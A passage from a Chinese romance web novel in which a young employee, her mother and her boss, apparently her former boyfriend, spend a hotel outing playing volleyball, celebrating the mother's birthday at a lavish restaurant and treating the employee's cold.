傅靳年闭着眼深吸了一口气,感觉脑子还在震荡。
对面还传来了周衍肆意的嘲笑声,“哈哈哈哈哈我说你等会儿得赶紧去医院看看有没有打出脑震荡啊哈哈哈哈哈笑死我了。”
傅靳年回头,目光看着她。
发球依旧烂得没边。
江迟鹿两只手合十鞠躬,闭着眼表示自己的抱歉。
本来心里还想过自己会不会意外发一个好球连续得分。
没想到......居然能烂成这样。
两边实力差不多,可以看出来周衍和傅靳年绝对是队伍里最会打的,两人有时候还要补救一下其他位置漏掉的球。
他们队的比分来到了24,对面是22。
还差一分就能赢了。
轮到周衍发球了,他嘴角勾着笑,朝着傅靳年比了个国际友好手势。
傅靳年:“.......”
“砰——”
十分迅捷且有力的球飞速朝着队内个子最小的卢洋洋去。
看来是周衍看出了卢洋洋是他们队内最没有技术含量的,故意把球往她身上发。
卢洋洋显然也被这架势吓住了,身体虽然下意识做出了反应,但那柔弱的架势,球真砸她身上恐怕要落地丢分了。
就在这时,傅靳年速度很快地变换了位置,跳跃起身迎面对上砸过来的排球。
一声巨响,那球飞了回去。
对面的人又迅速接上打了回来。
傅靳年接住了球,垫了一下。
这次,江迟鹿看到了周礼给自己比的手势。
她冲击向前,跃起像是要拍球的样子。
傅靳年托球给了江迟鹿。
对面两个拦网的都冲到了她的对面要拦网。
江迟鹿却没有直接拍球过去,而是将球给了周礼。
对方毫无防备,周礼一个弹跳,“砰——”
快球直接落了地。
一道口哨声响起,旗帜偏向他们的队伍。
他们赢了。
“yes!”周礼一把抱住了江迟鹿,“配合得真棒!我们不愧是最佳组合!”
江迟鹿毫无任何防备,被他抱起来转了一圈。
他们这边都沉浸在欢呼声中。
唯独傅靳年,眸色泛冷的盯着抱着转圈的两人。
周衍一手抓在网上,扫到江迟鹿那边,忍俊不禁的看着傅靳年,“赢了怎么还不开心啊?笑笑啊,你看你的队友们笑得多开心啊!”
周礼转了几圈把江迟鹿放下,正张开双臂凑向傅靳年那边,一对上傅靳年面无表情的脸,大脑瞬间从喜悦中跳脱出来,反应过来了对面的人是谁。
他真是不想活了才敢一身都是汗的往傅哥身上冲。
于是只是伸了个拳头过去,“傅哥,你可真厉害啊!”
傅靳年那双漆黑的眼睛盯着他伸过来的拳头,垂在腿侧的手握紧拳头,和他碰了一下。
周礼原本还笑着的脸顿时僵了。
好.......好疼......靠。
怎么一个两个力气都这么大。
他另一只手揉了揉自己的手骨,皱着眉甩了甩。
几人往休息区走去。
江迟鹿正拿着帕子擦自己脖颈上的汗。
身后突然覆盖上来一道高大的黑色影子,极具压迫感,鼻尖有股淡淡清冽的味道,不用猜也知道站在她身后的人是谁。
她佯装无事继续擦自己脸上的汗。
直到身后头顶传来声音,“帮我拿下帕子。”
江迟鹿嘀咕:“你自己没手吗?”
她转头看着他,就见傅靳年手腕往后在,摸了摸自己的后脑勺,盯着她,漆黑的瞳孔里有一丝戏谑,“我头挺疼的。”
想到自己飞出去砸在他后脑勺上的那一球,光听声音就知道是个好头,哦不,光听声音就知道力度不轻。
想到这点,她心甘情愿给他递了干净帕子过去,“对不起,那一球是失误。”
傅靳年唇角轻哂,“既然知道是自己失误,那就态度好一点。”
她呵了一声,“我都给你递帕子了,态度哪里不好了?还是你想去医院看看有没有影响你的脑子?那我也奉陪。”
这时丛晚女士从旁边过来了,手里递给江迟鹿一瓶饮料,“迟鹿,打得真棒,看得我的热血沸腾了。”
她的目光很快放在了一表人才外表一副斯文君子的傅靳年身上,脸上挂着笑,“刚刚看你们聊的很熟悉的样子,这位是?”
她看向江迟鹿,想让江迟鹿介绍一下。
江迟鹿原本想随便说一个队友关系糊弄过去。
谁知道傅靳年先开口了,很礼貌的冲丛晚点了下头,“阿姨好,我和她是同事。”
江迟鹿倏地往周礼那边看了看,还好周礼现在离的远,正在和工作人员说些什么,估计没听到这边的声音。
不然他知道了自己和傅靳年是同事,那就代表今棠也会知道。
“同事啊。”丛晚盯着傅靳年的目光更加亮闪闪的了。
她别有深意的看了江迟鹿一眼。
江迟鹿无奈,知道她心里的女婿雷达又响了。
她微笑开口补了一句,“妈,这是我上司领导,傅总。”
丛晚顿了一下,“上司啊,这么年轻,真是优秀。”
刚刚心里的女婿顿时感觉变成大鹅飞了。
这么年轻就是上司了,估计不简单。
傅靳年也看出了江迟鹿刚刚非要补充那一句的用意,他嘴角勾起一个笑,“迟鹿,私下就不用这么叫了吧。”
江迟鹿感觉自己身上起了一身的鸡皮疙瘩,愣着眼盯着他。
什么鬼,不这么叫要怎么叫。
“傅总,我都习惯了,感觉叫其他的也不方便.......”
江迟鹿话音还没落下,傅靳年很有亲和力的说,“私下不是说好了叫我靳年就好了嘛,我们年龄差不多,不是吗?”
一句话,顿时又把丛晚女士的雷达拉动了。
是啊,上司又怎么了,年龄差不多啊。
第六十三章 哪有这么体贴的上司
周衍从旁边走了过来,眼神在江迟鹿和傅靳年的身上转了一圈,最后将目光放在了丛晚身上。
他一只手搭在傅靳年肩膀上,嘴角勾起了笑容,“那边有酒店专门准备的甜点,我们过去吃一点?可以边吃边聊。”
他伸手,带着丛晚往旁边的休息厅走去。
江迟鹿不得不跟在后面,她上前一步,扯住傅靳年的衣角。
男人挺下脚步,往后看了一眼,江迟鹿问他,“你到底想做什么啊。”
刚刚那话绝对是故意在她妈妈面前说的。
傅靳年垂下的眸子颤了颤,“我和你没仇吧?难道不能跟阿姨好好相处?”
“你......”江迟鹿张了张唇,最后什么也没说,叹了一口气。
等两人后一步走到休息厅的时候,里面周衍已经逗得丛晚笑容满满。
他抬眼盯着傅靳年,从容不迫伸手指了指旁边的双人沙发,“来啊,坐。”
这个休息厅里,围着茶几两个单人沙发一个双人沙发,单人的被周衍和丛晚坐了,江迟鹿和傅靳年过去就只能一起坐那个双人的。
她总不可能过去叫周衍起来或者叫自己妈起来吧。
江迟鹿走过去坐下了,傅靳年后她一步坐在了她的旁边。
“傅.......”丛晚看着傅靳年,还不知道怎么开口。
傅靳年主动开口道:“阿姨,叫我小傅就好。”
“那怎么好意思,你毕竟是迟鹿的上司呢。”丛晚摆了摆手,脸上挂着笑。
傅靳年唇角勾笑道:“应该的,您是长辈,阿姨。”
江迟鹿双手抱胸,身体倾斜向沙发扶手,乜斜着眼睛盯着傅靳年。
还真是会说话啊,不知道的还以为他真是个温和的斯文君子呢。
怎么在她妈面前和在她面前完全是两幅样子。
等等,他对她妈态度这么好是要做什么。
“对啊,随便叫就是了,这里又不是公司,出来玩当然还是要按照辈分来。”周衍坐在旁边帮腔道,“阿姨你放心好了。”
丛晚看向周衍,“你们是好朋友是吧?”
江迟鹿咬了咬唇内侧,时不时打量着现在的情况,反正可以看出来自己的妈妈完全不反感这两人。
尤其对待傅靳年,好像真被傅靳年在排球场上的话给误导了一样。
她抿着唇瓣,倒茶的时候挡在了傅靳年面前,“妈,喝茶。”
丛晚拿起茶杯,看着傅靳年面前的茶杯,开口:“迟鹿,你给小傅也倒上,还有小周。”
江迟鹿差点没绷住,还真叫上小周和小傅了。
她抬眼对上了傅靳年的神情,看起来很从容。
他抬手将自己面前的茶杯举到江迟鹿的手边,微笑着看着她,“谢谢了。”
江迟鹿:“.......”
都给傅靳年倒了,江迟鹿完全出于一个做下属的本能,帮旁边的周衍也倒上了。
谁知道周衍开口就是:“这怎么好劳驾你帮我倒呢,等会儿小傅削我。”
这话一出来,江迟鹿脑子里那根线彻底崩了。
果然,丛晚疑惑震惊又怀疑地盯着她和傅靳年看,开口问:“你们两个?”
周衍扫了一眼,对上傅靳年清冷的眸子,他笑了笑,开口解释:“阿姨你有所不知,小傅他啊比较护着自己下属的,我毕竟不是小江的上司啊。”
虽然周衍这话有洗清两人之间的嫌疑的意思。
但丛晚已经察觉出来两人之间的不同了,她的目光落在江迟鹿身上,那种带着深意的目光,看得江迟鹿心里一咯噔。
不用想其他的就知道回去肯定要被盘问一番。
她低下头,发丝盖住了一些脸颊。
刚刚因为运动大量出汗,耳鬓的发丝湿成一缕一缕的。
旁边突然伸过来一只手,修长匀称,掌心是黑色的一字夹,“给你。”
她瞳孔愣住,抬头对上傅靳年平淡的目光。
周衍在旁边戏谑的笑,“你怎么还随身带着夹子这种东西,哎呀,这种发夹好像是小江平时用的那种吧。”
丛晚的目光看两人看得蹭蹭发亮。
傅靳年淡定开口:“只是刚刚问前台要的。”
看似解释,实则是越描越深啊!
江迟鹿不理解地看着他,她不相信傅靳年现在的大脑能蠢成这样。
刚刚问前台要的,他一个大男人问前台要这种夹子做什么,现在还把夹子给了她。
在别人眼里可不就成了他主动帮自己要的嘛。
哪有这么体贴的上司,她妈不误会才怪。
第六十四章 盯傅靳年像盯女婿一样的眼神
江迟鹿艰涩的舔了舔唇瓣,撩起碎发夹在耳边,心里在想对策。
开口道:“我就说看向葵的短发很不方便,傅总您真贴心,等会儿我重新去前台那里要一些还给你。”
刚才向葵和傅靳年走得近,丛晚肯定是看见了的。
江迟鹿向丛晚解释,“向葵就是跟我们一起打球的那个短头发女孩。”
“她很不方便和我有什么关系。”旁边突兀地插了一句话进来。
江迟鹿和丛晚四目相对,对方怀疑,她则是心虚。
周衍看热闹还不嫌事大,笑着开口:“小江,你又不是不知道,虽然他长了这么一张招桃花的脸,但对其他异性丝毫不感兴趣,那位向葵估计也就跟他的众多追求者一样。多点时间就会明白了。”
江迟鹿皮笑肉不笑,盯着他呵呵呵,“周总,您还真是了解傅总呢。”
她现在想砍了这个周衍。
不知道他到底脑子哪根筋抽了。
周衍像是看不出江迟鹿磨牙的表情,笑眯眯看向旁边的丛晚,“阿姨,既然遇上了,晚上一起吃饭吧?我刚刚听经理说,今天还是你的生日呢?多几个人给你庆生怎么样?”
他说完,向傅靳年眨了下眼,哥们就帮你到这了。
丛晚摆了摆手,“那怎么好意思,你们是迟鹿的上司,就算要请吃饭也应该是我请你们吃,迟鹿刚出社会,不懂的肯定多,还需要你们多多关照了。”
傅靳年看向丛晚,嘴角微微上扬,周身的气场也发生了很大的变化,从高冷变成了温和,“我刚好有附近餐厅的优惠价,快要过期了,不用掉的话很浪费呢。”
周衍双手交叠在脑后,往沙发上慵懒依靠,双目微眯着盯他。
看不出来啊,傅靳年居然还有这么贴心的时候,感觉自己跟他不是兄弟,仇人还差不多吗,可从来没见他对自己这么贴心。
看着看着,他的目光又转移到了旁边的江迟鹿身上。
果然啊,男人的劫是女人,傅靳年的劫是江迟鹿。
看看,在哄丈母娘这一块简直是无师自通。
丛晚听到对面这样说,就算心里清楚对面可能只是找了个借口,但是借口都找到这个地步了,不去的话就太不给面子了。
她笑着点头,“好啊,真是破费了,本来我们还想在酒店吃呢,听说这家酒店的餐饮很不错。”
周衍歪头一笑,“阿姨您要是真的喜欢的话,吃了晚饭回来玩一会儿可以点酒店的宵夜,我们酒店的宵夜也做的很不错哦。”
丛晚有些震惊地看着周衍,“你们酒店?”
周衍点点头,“这家酒店是我们公司名下的。”
说着他伸手指了指傅靳年,“他家也有入股呢。”
丛晚虽然不平时不怎么看经济新闻,但还是知道淞江酒店是国内顶级的酒店。
江迟鹿脸上还能保持平静,她偏头看向傅靳年,那眼神很明显的在表达——让你朋友消停点吧。
傅靳年完全读懂了她的意思,看向周衍,“都是自己人,你不得给阿姨优惠什么的。”
周衍点头,打了个响指,“阿姨,我把您名字记前台那,以后只要是您来我们酒店,可以免费入住。”
丛晚一时惊的说不出话,这种电视剧里的霸总行为突然照进现实的感觉,真不是一般的爽。
江迟鹿看着丛晚盯傅靳年像盯女婿一样的眼神,心情想死。
第六十五章 奶油味
周衍找的那家餐厅离酒店不远,他便亲自开车带他们过去。
江迟鹿和丛晚两人坐在后座,周衍开的车,傅靳年坐在副驾驶。
丛晚凑到江迟鹿的耳边刚要说些什么,她抬眼,晃了晃手机。
丛晚眼睛弯曲笑了笑,理解了她的意思,拿着手机打开。
然后......张口:“你跟小傅到底是什么情况?”
她还是用小心翼翼的气音开口的,江迟鹿一时傻愣在那里。
不理解,不明白。
前面两位果然往后视镜看了一眼,目光落在两人身上。
江迟鹿深吸了一口气,“妈,我的意思是打字。”
她真是今天惊喜过头了,连这个都反应不过来了。
“哦.......”丛晚默默拿下来手机,开始打字。
-那你和小傅到底是什么情况,你们是不是在一起了?
-没有!真的没有!
-那看样子就是小傅在追求你啊。
-也不是!
-那怎么对我们这么好,就算是上司也没必要对下属的家人这么好吧,你刚刚也听到了吧,以后我到酒店都能免费用诶!
江迟鹿还没有回复对面又发来了消息。
-你说我能不能天天来,哎呀这样也不好,我一周来一次?
-一个月来一次?
-我能带朋友来吗?
-带一个行不行?我带我闺蜜来。
江迟鹿盯着这一长串的消息,心里暗自叹气,果然如此。
-你自己拿主意就好,对面都那样说了,你天天住也没事。
反正是周衍自己说的,他们也不是那种随口说说实则会计较这么点事的人,让她妈怎么开心怎么来就行。
-太好了!女儿啊,你是不是要嫁入豪门了?我以前盼望了一辈子靠我闺蜜嫁入豪门,然后养我,最后梦想终究是破灭了,没想到你居然完成了。
江迟鹿:
-......你想多了,反正你别往那方面想,你女儿没这个命。
-哼,不信,刚刚在休息厅的时候我看那小傅眼珠子都黏你身上了。
江迟鹿没有继续回复了。
到了地方,周衍还亲自替丛晚拉开了车门,体贴到江迟鹿都怀疑他是不是找到了亲妈。
而丛晚一下车,就递给了江迟鹿一个眼神——这个也不错啊。
江迟鹿差点吐血,斜了她一眼。
“周总。”门口的泊车员一眼就认出了周衍,看来周衍没少往这里来,他上前拿了车钥匙去停车。
几人一进门,便看到了西装革履的经理站靠近门口的地方,看来是早就知道他们要来。
他微笑着朝着周衍点了点头,周衍笑着道:“还是老样子。”
将几人带到包间,江迟鹿站在门口都有些惊讶。
比当初北城那个大贪的副院长吃饭的地方还气派。
不是暴发户气质的豪气,低调奢华中带着文雅秀致的韵味。
这一个包间大概有三百多个平方,一眼看去视野开阔,三面环绕的全景落地窗,能看到外面的假山流水拱桥,像一副江南百景图。
屋内的布置也是古风古色,屏风,流苏,花瓶,最角落的位置还置放着两把琴。
透过流光溢彩的珍珠帘子后面一道玻璃门,可以看到操作厨房,深纵进去里面有穿着制服的两个厨师和三个帮手,看样子是专门只服务这一个包间的。
丛晚忍不住抬头看了好几眼,天花板也别有不同,像是浮雕壁画。
有点中西结合的味道。
等几人坐下,旁边单独留出的空旷位置有一束灯光打上去,地面居然是会发光的翡翠琉璃石,随着光影变幻,从冷调的蓝色变成暖调的昏黄色,上面的自然纹理仿若流水雪山。
江迟鹿的目光刚被吸引过去,门口施施然进来穿着大红色唐朝襦裙高盘发髻仙女似的美女绕着曼妙的舞姿进来,另外两个穿着素色的则是往角落的古琴走去。
弹奏开始,中间的舞蹈也开始。
江迟鹿讶异,这下不是长见识了,她拿着手机悄悄给傅今棠发消息。
-你名义上的丈夫今天带我们来吃饭,天哪,那架势,那架势啊,跟古代的皇帝没什么区别了!
-管他呢,等等,你怎么跟他在吃饭。
江迟鹿简单把今天在酒店跟周衍他们遇到的事情跟傅今棠说了。
-原来是这样啊,那你多吃点!
江迟鹿看着这毫无任何反应的反应,想到那晚周衍的关心,不禁摇头。
那边在跳舞,服务员也开始往桌上端餐前小点心,都是现做的,每一道都十分精致还不重复。
江迟鹿原本还对这一趟很烦恼。
看在美食的面子上暂且原谅了。
丛晚也吃得很开心。
“阿姨有什么喜欢看的?可以点啊。”周衍递过去一个单子,上面都是可以点的曲目。
丛晚笑着开口:“我都可以,你们年轻人点。”
江迟鹿看着自家妈妈比自己还从容,她深吸了一口气。
在桌子下面悄悄拿出了手机,给傅靳年发消息。
-等会儿吃完,直接分开吧,谢谢您和周总请的这顿饭。
傅靳年听到了手机震动了一声,他拿出手机看了一眼,将手机盖在桌面上。
江迟鹿在旁边正盯着他看,有些不可思议。
不看?
呵呵呵呵呵呵。
她不知道两人吃过饭还要干什么,但看架势今天是要玩到底了。
吃饭吃到中途时,房门突然被人敲了敲,随即开门进来,经理带头,身后跟着好几个工作人员。推着一个很大的推车,推车上是一人半高的超大蛋糕。
“祝丛晚女士生日快乐。”经理笑着鼓掌,其他人也跟着鼓掌,还一人上前说了一句祝福语。
这一看就是周衍安排的。
把丛晚哄得那叫一个十二分开心。
给几人分了蛋糕后,
经理开口:“我们酒店有个活动,寿星本人要是能把在场的所有人抹上蛋糕奶油,这一顿就免费!我们的寿星要不要参加这个活动呢?”
丛晚一秒都没有犹豫直接答应了。
现场一下就活跃起来,大家都陪着丛晚在玩,跑来跑去的,那几个穿着唐代襦裙跳舞的女孩也绕着房间跑。
还好这里面足够大。
江迟鹿站在原地都懵逼了,看自己妈妈笑得皱纹横深的模样。
放古代绝对是个沉沦声色犬马的昏君。
她目光还放在开心的丛晚身上,一个模糊突兀影子遮挡住视线,鼻腔瞬间闻到一股甜腻的奶油味。
第六十六章 抵触
那张巴掌大小的细致瓜子脸,白腻润泽的鼻尖被抹上了一点奶茶。
清澈的眼睛一下子瞪大了看着眼前的人。
作俑者就是面前的男人。
傅靳年那张脸上,深邃的眉眼盯着她,嘴角微微上扬,带着些微得逞的笑意,修长的手指晃了晃,像是在展示战利品。
下一秒,江迟鹿往后伸手抹奶油,快速冲上去,直接往他鼻子去,丝毫不给人反应时间。
然而,身高一米八八的人脑袋往后仰了仰,她原本冲着他鼻子去的奶油直接戳进他嘴里。
这一刻,时间仿佛暂停了。
鼻息呼出来的气息是热的,唇瓣也是热的。
她感觉到自己指尖的奶油渐渐在融化。
而傅靳年那双狭长的凤眼半垂着,瞳仁清晰地映出她现在有些呆呆的模样,莫名让人陷入这个人很深情的虚妄漩涡。
原本挡在江迟鹿指尖前的牙齿张开,温热的舌头碰到她的指尖,奶油彻底融化在他的口腔。
清澈莹润的瞳孔骤然瞪大,因为手指上的触感而呆愣在原地。
另一旁,周衍痞坏的勾起一抹笑,拿出手机将这一幕给拍了下来,“哼哼。”
江迟鹿反应过来后立即就要抽回自己的手。
男人的手却紧握住她手腕,十二分的紧。
她想要抽出来都难。
“不是你先喂我吃吗?”某人顶着一张禁欲清冷的脸,一本正经的说混话。
江迟鹿气笑了,“我请你吃?我那明明是反击!”
“谁反击会把手指头塞进男人的嘴里。”他高大挺括的身体往她的方向倾了倾,拉近两人之间的距离,眉梢往上扬着,故意戏谑她。
这话腔调也像是调情。
她咬牙,眯了眯眼睛,认清了面前这人是个无赖的事实。
轻哼了一声,“行,就当喂狗了。”
“......”他沉默着,皮鞋往前一步,差点碰到江迟鹿的白鞋,她匆匆往后退了一步,又一步。
两人之间的气氛很凝固,周围的热闹笑声仿佛被单独屏蔽在外一样。
他嗓音低沉的响起,“那你可要小心,别被咬了。”
江迟鹿两只手都抓紧了自己身上的布料。
她没想到,傅靳年宁愿承认自己是狗也要放这么一句狠话。
嘴角莫名抽搐了一下,她开口说:“傅总就是傅总,真没想到您还会咬人啊,哈哈,受教了。”
“......”
丛晚在旁边开心的像个小孩子一样。
陪着玩的人本来就让着她,跑两下就被她抹了奶油,就剩下傅靳年和江迟鹿了。
丛晚手上都是奶油,她目光刚看向傅靳年,傅靳年便走过去,主动弯腰把脸递了过去。
江迟鹿和周衍两人都在旁边看得呆掉。
傅靳年现在像是第二个人格出来了一样。
丛晚笑眯眯的把奶油在他脸上抹了一下。
开口道:“你这可太让着我了。”
“您今天是寿星,当然得让着您,让阿姨玩得开心是我们所有人的任务。”
江迟鹿眉毛都扬了一下。
妈呀,傅靳年肯定是被人俯身了吧。
“哎呦.......”丛晚是一副不好意思的样子,“今天真是谢谢你们了,这个生日过得很开心,就是可惜柏......”言没来。
后面三个字还没说出口,江迟鹿反应迅速,将手上的奶油抹在她的嘴上,顺便捂住了她的嘴,“妈妈,我看你也玩累了是不是,你看要不我们就回去了吧?身上也不少奶油,回去好好洗个澡。”
不得不说这餐厅的人情商都高,就算是玩闹,也没把奶油往客人的衣服上抹,只一些容易清洗的皮肤上有少许奶油,还把人哄得高高兴兴的。
江迟鹿都害怕明年妈妈的生日自己提供不了这么大的乐子。
丛晚笑着点头,她又看向两人,“阿姨做的饭可好吃了,下次你们来我们家,阿姨做饭给你们吃。”
周衍眼睛一亮,“行啊,那我们加个你的微信。”
他笑着看向了傅靳年。
两人都拿出了手机让丛晚加好友。
江迟鹿挡在两人面前,“那个.....加好友就不必了吧?”
她咬牙切齿的看着两人,这两人到底要搞什么鬼,万一她妈妈把祁柏言和自己的关系说漏嘴了可就完蛋了。
这傅靳年还不得误会自己就是为了接近他才撒这么一个谎言。
丛晚拉住她的衣服,往旁边挪开,开口道:“加个好友而已,我和小傅和小周也玩的很开心啊。”
江迟鹿被她扯到了旁边,只能亲眼看着她跟两人加上了好友。
她的呼吸都凝重了。
抿着唇角。
散场的时候,她独自走在几人后面,正要给祁柏言发消息。
-怎么办,傅靳年和妈加上好友了,要是不小心把我们两个从小就认识的事情说漏嘴了怎么办。
还没发送出去。
“你在跟谁发消息?”
头顶冷不防传来声音,吓得她手机都差点摔了。
抬眼一看,傅靳年的眸光垂落,视线正是在她的手机上。
她立即将手机关掉。
傅靳年并没有看全,视线落下去,只看到了祁柏言这三个字的备注。
也能确定了,江迟鹿是在跟祁柏言发消息。
他原本还不错的心情一下子跌落下去,沉沉的目光盯着她看,开口道:“都已经放假了,你还有什么事情需要和祁组长汇报吗?”
虽然他知道祁柏言不喜欢江迟鹿,另有喜欢的人。
但是不代表江迟鹿就对祁柏言心思纯洁了。
毕竟两人第一次见面的时候,江迟鹿可是直接盯着人走神犯花痴。
“谁说放假了就没有了,我昨天晚上还在做我们组长要的PPT呢。”
她和傅靳年并肩走着,高她一截的臂膀时不时随着身体走路的弧度擦过她的肩膀。
傅靳年蹙了下眉,视线往下撇了一眼,“放假期间只要不是紧急情况你可以拒绝工作。”
江迟鹿撇了下嘴角,“领导都发话了,你能不做?......你应该也体会不到这种感觉,毕竟公司你就是最大的老板。”
两人又往外走了一些距离,旁边的人突然开口道:“我懂。”
江迟鹿愣了一下,抬头看向他。
傅靳年的目光和她对上,“我懂。”
江迟鹿一时凝噎,说不出话来,“你......”
她突然想到傅今棠在自己耳边说的,傅靳年亲口和傅家那些老股东们说的,要把启恒的营业额翻三倍,不然他不会进入傅氏总部。
这么说,傅靳年其实也不算是完全的随心所欲。
例如剧情里所说的傅家老爷子希望他能娶苏轻,并不能因为最后是他主动愿意娶的,就忽略掉前期的强迫。
她垂下头,什么也没说。
摩挲了一下手指尖上残余的奶油,一只骨节修长的手伸过来,墨蓝色的手帕叠得方方正正地递了过来。
她盯着帕子,手上没有动。
男人嗓喉轻呵一声,“我发现,你对我不是一般的抵触,是当初傅家人跟你说了什么吗?”
第六十七章 贴心
不知不觉已经走到门口。
直到江迟鹿上车,也没有回答他的那个问题。
坐在车上,两个男人时不时陪着丛晚聊天逗乐。
江迟鹿安静的靠在旁边,眼睛看着车窗外的夜景。
她在想傅靳年刚刚那句话。
被怀疑了。
不过还好傅靳年是往别的方向怀疑的,他肯定猜不到自己是突然知道了剧情这玩意。
就算亲口说出来他估计也不会相信吧。
深吸了一口气,旁边,妈妈的手搭在她的手背上,担心的看着她,凑到她耳边,“身体不舒服吗?”
前面,坐在副驾驶座的男人透过后视镜看向她。
他目光垂下,看着中控屏幕。
现在是冬季,昼夜温差大,周衍旺盛不怕冷,空调温度比平均值低上很多。
伸手将车内的空调温度调高一些。
丛晚坐在后面,注意到了傅靳年的小动作。
这一刻,才真的觉得这个人不错,前面对她做再多,都不如关心江迟鹿的这一下。
毕竟女儿的想法才是最重要的。
“是不是因为今天下午打排球出的汗太多了?感冒了?阿姨您摸一下她的额头温度高不高。”傅靳年一只手靠在座椅上自然垂下,转过头盯着两人看。
“好.....”丛晚伸手放在江迟鹿的额头上。
皱着眉:“好像是有点高。”
江迟鹿无奈,“妈妈你心理作用吧,我没发烧。”
“我真的感觉有点发烧啊,你怎么就能断定自己没发烧,说不定都烧糊涂了。”
“我真的没有......”江迟鹿话还没说完。
两人中间突然横过来另一只手。
他也是不怕冷,白色的衬衫袖子绕在小臂,结实有力的小臂上有明显的锻炼痕迹,那只大手覆盖在江迟鹿的额头上,暖而燥。
车内暖黄色的灯照下来,场面一时竟然无比的暧昧。
丛晚捂着嘴在旁边,盯着两人的举动看,忍不住笑了笑。
江迟鹿往后躲了一下,后脑勺撞上了车窗,哐当一声。
男人低沉磁性的嗓音传过来,“温度还好,但还是看一下医生比较好。”
周衍一边打着转盘,连接了手机蓝牙,提前叫私人医生去酒店。
“我真的没事......”江迟鹿呼出一口气,“不至于请医生来。”
一道发沉的目光盯在她身上。
江迟鹿稍一抬眼就对上傅靳年的目光。
真的不是她胆子小,这目光实在吓人。
江迟鹿也不知道为什么,其他人都管不到她。
唯独傅靳年,总是一个眼神就能让她妥协。
当初在大学里面的时候也是,江迟鹿作息是他们宿舍最乱的。
甚至放假没有课的时候能够做到作息完全颠倒,虽然也不影响她的学习,但对身体还是不好的。
她从高中的时候就爱这样了,在家里背着妈妈熬夜,有时候不小心被发现了,即便是被臭骂一顿也改不过来。
丛晚之前为了改掉她这个坏习惯,还故意叫她跟她一起睡觉,就为了监督她。
结果就是.....江迟鹿等丛晚睡着了之后偷偷开夜间模式背对着她缩进被窝里看。
睡了半个月,丛晚觉得她已经改掉了,就让她回去自己的房间睡,殊不知是江迟鹿的手段越来越高明了。
但大学的时候,和傅靳年在一起后,被他知道了。
这个坏习惯就被改正了。
她垂下头,没有再说其他话。
一回到酒店,私人医生已经在房间门口等着了。
直到开门进去,江迟鹿脑子里才嗡的一下想起来什么。
她的.....内衣。
“等......”
话还没说出口。
丛晚以为她又要后悔什么的,直接拖着人进去。
进去就是一个两米的大床。
床上面是凌乱的睡衣,裤子,以及蕾丝质地的贴身衣物。
江迟鹿呆愣着一张脸,“等等,让我收拾一下。”
她说出刚才没说完的话。
丛晚在旁边低下了头,干笑,“我不是让你换了衣服顺手就收拾了吗,这个好习惯你怎么还没有养成。”
周衍正好在外面接电话,并没有看到这一幕。
医生很自觉地转身出去了。
傅靳年盯着那些乱糟糟的东西,他反倒松了一口气。
她没变,这一点还是没变。
不知道为什么,现在只要看到江迟鹿还有原来的特性,他的心里才会松一口气。
就好像,因为她还是原来的江迟鹿,所以......可以回到原来一样。
江迟鹿快速的把床上所有东西抱在一起塞进了衣柜。
丛晚在旁边抬了抬手,下意识想把衣服整理好挂进衣柜,但是想到现在的情况还是女儿的生病更重要,才放下了手。
心里暗自想着以后一定监督女儿养成随手收拾房间的习惯,不然这以后再发生这样的事情多尴尬啊。
她刚刚都想说是自己的衣服了.......但是,中年女人也是要脸的啊。
“好了。”她嗡着嗓子,下意识往傅靳年看去。
就连她自己都没有察觉到,她现在的行为就同两人之前在大学一样。
傅靳年在她身边虽然是男朋友这么一个关系,但是还有着教导她的责任。
清冷的眼眸扫过床上,那道挺拔清隽的身形往床铺走去,修长有力的手臂展开,捏着床铺,抬起抖落平铺在床上。
乱糟糟的床一下子就感觉恢复到了酒店原来的样子。
站在一旁观看的丛晚盯着他的眼神更亮了。
就刚才那熟练的样子,一次就把被子弄好,一看就知道平时就是爱干净会这样做的人。
爱干净会做家务的男人加分!
江迟鹿撇了撇嘴。
就你会显摆是吧,她都已经能想到,等回到家了,丛晚肯定会说,“你看看人家,你再看看你......”
“我去叫医生进来。”
傅靳年走了出去。
刚走出去,周衍挂断电话看着他,“我先走了,有点事。”
说完,很着急的便离开了。
傅靳年没多管,看向医生,“进去帮她看看吧,她应该是感冒,可以的话尽量开冲剂服用,她吃不惯吞咽服用的片剂药和胶囊。”
医生看着他愣了一下,点头,“好,我知道了。”
他是周衍的私人医生,但也是认识傅靳年的,傅靳年刚回国的时候有一次受伤就是他去看的。
那时候看到这位传说中的的傅家太子爷,第一眼的印象就是又冷又利。
像一把随时会出鞘的利刃。
即便当时有周衍陪在他旁边,即便他是周衍叫去为他治疗的医生,他的眼神依旧十分警惕。
没想到,居然还有这么贴心的一面。
第六十八章 花边新闻
医生给江迟鹿查看了一番,确实是感冒了。
他开了一些冲剂,还特意补充了一句,“这些是甜的,您感冒也不严重,吃这些就够了,饭后用,一天两次。”
丛晚笑着送私人医生出去,走到门口,她低头感谢,“医生麻烦您了,您还专门给我女儿开甜的冲剂,您可能不知道,她特别不爱吃那种一颗一颗吞咽的药,从小到大都是,这么大个人了......”
私人医生微笑点头,“不客气,都是我应该的,不过,让我开冲剂的是傅先生,他特意交代的,说江小姐吃不惯那些药。”
说完,他便礼貌微笑的点头离开了。
丛晚有些愣,站在门口。
能了解到这个的,到现在为止都还只有她和祁柏言。
傅靳年是怎么知道的。
两人不是才工作没多久的上下属吗。
怎么看样子,都像是相处了许久的人。
她转身回到房间。
看到女儿坐在床尾,而饮水机前,傅靳年刚接了一杯热水,将冲剂包装袋撕开,倒进去,拿一根细勺搅拌。
就这服务,她怎么看都不像是单纯的上司。
“谢谢你啊小傅,还帮忙做这些,这种小事情让她自己来就好了啊。”丛晚正要接过他手里的杯子。
傅靳年捏紧手中的杯子,神情有些恍惚,这些事情其实他也已经习惯了。
曾经,他喜欢在方方面面照顾她。
眼睫下垂,视线落在杯子上,他伸手松开,让给了丛晚,开口道:“有些烫,冷一会儿再给她吧。”
丛晚的脸上又浮现出来一抹笑容,“小傅你很会照顾人啊,看着像有过女朋友的。”
原本滚烫的掌心一时落了空,又听丛晚这样试探,他抬眼盯了一下江迟鹿,开口道:“之前有过一个。”
心中是另一个想法。
从江迟鹿的妈妈的态度来判断,江迟鹿应该是还没有带她那位男朋友见过父母吧。
丛晚面上并不惊讶,也是,这么优秀的人,没谈过才是惊讶。
她拿着勺子搅拌着水中的勺子,目光揶揄的看向江迟鹿,又叹了口气,“唉,我们家小孩不知道是不是缺了情根,到现在啊,一个男朋友都没谈过。”
江迟鹿坐在床尾,僵着身体不敢动,眼珠子悄咪咪往上移,像心虚的小狗,双手撑在两边,脖子缩了缩。
